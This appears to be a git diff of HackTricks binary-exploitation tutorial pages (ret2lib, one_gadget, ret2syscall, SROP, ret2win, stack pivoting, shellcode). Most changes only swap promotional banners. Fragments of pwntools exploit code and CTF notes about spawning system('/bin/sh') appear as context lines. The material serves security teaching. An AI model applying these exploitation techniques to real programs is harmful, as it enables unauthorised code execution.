Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Basic Information** ## **Basic Information**
@ -176,16 +177,17 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). * 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
View file

@ -1,18 +1,19 @@
# One Gadget # One Gadget
{% hint style="success" %}
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -47,16 +48,17 @@ pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
``` ```
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
View file

@ -1,18 +1,19 @@
# Ret2lib + Printf leak - arm64 # Ret2lib + Printf leak - arm64
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</details> </details>
{% endhint %}
## Ret2lib - NX bypass with ROP (no ASLR) ## Ret2lib - NX bypass with ROP (no ASLR)
@ -226,16 +227,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
View file

@ -1,18 +1,19 @@
# Leaking libc address with ROP # Leaking libc address with ROP
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Quick Resume ## Quick Resume
@ -314,16 +315,17 @@ Try to **subtract 64 bytes to the address of "/bin/sh"**:
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
View file

@ -1,18 +1,19 @@
# Leaking libc - template # Leaking libc - template
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -241,16 +242,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2vdso.md
View file

@ -1,18 +1,19 @@
# Ret2vDSO # Ret2vDSO
{% hint style="success" %}
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -79,16 +80,17 @@ After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md) [srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
View file

@ -1,18 +1,19 @@
# Ret2syscall # Ret2syscall
{% hint style="success" %}
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -205,16 +206,17 @@ target.interactive()
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. * 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
View file

@ -1,18 +1,19 @@
# Ret2syscall - ARM64 # Ret2syscall - ARM64
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
Find an introduction to arm64 in: Find an introduction to arm64 in:
@ -140,16 +141,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View file

@ -1,18 +1,19 @@
# SROP - Sigreturn-Oriented Programming # SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -155,16 +156,17 @@ target.interactive()
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. * SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
View file

@ -1,18 +1,19 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Pwntools example ## Pwntools example
@ -201,16 +202,17 @@ And to bypass the address of `/bin/sh` you could create several env variables po
[aslr](../../common-binary-protections-and-bypasses/aslr/) [aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/README.md
View file

@ -1,18 +1,19 @@
# Stack Overflow # Stack Overflow
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## What is a Stack Overflow ## What is a Stack Overflow
@ -113,16 +114,17 @@ There are several protections trying to prevent the exploitation of vulnerabilit
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/pointer-redirecting.md
View file

@ -1,18 +1,19 @@
# Pointer Redirecting # Pointer Redirecting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## String pointers ## String pointers
@ -38,16 +39,17 @@ You can find an example in:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/ret2win/README.md
View file

@ -1,18 +1,19 @@
# Ret2win # Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -124,16 +125,17 @@ The Python script sends a carefully crafted message that, when processed by the
[ret2win-arm64.md](ret2win-arm64.md) [ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
View file

@ -1,18 +1,19 @@
# Ret2win - arm64 # Ret2win - arm64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
Find an introduction to arm64 in: Find an introduction to arm64 in:
@ -199,16 +200,17 @@ print(p.recvline())
p.close() p.close()
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View file

@ -1,18 +1,19 @@
# Stack Pivoting - EBP2Ret - EBP chaining # Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -245,16 +246,17 @@ Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/stack-shellcode/README.md
View file

@ -1,18 +1,19 @@
# Stack Shellcode # Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -106,16 +107,17 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w
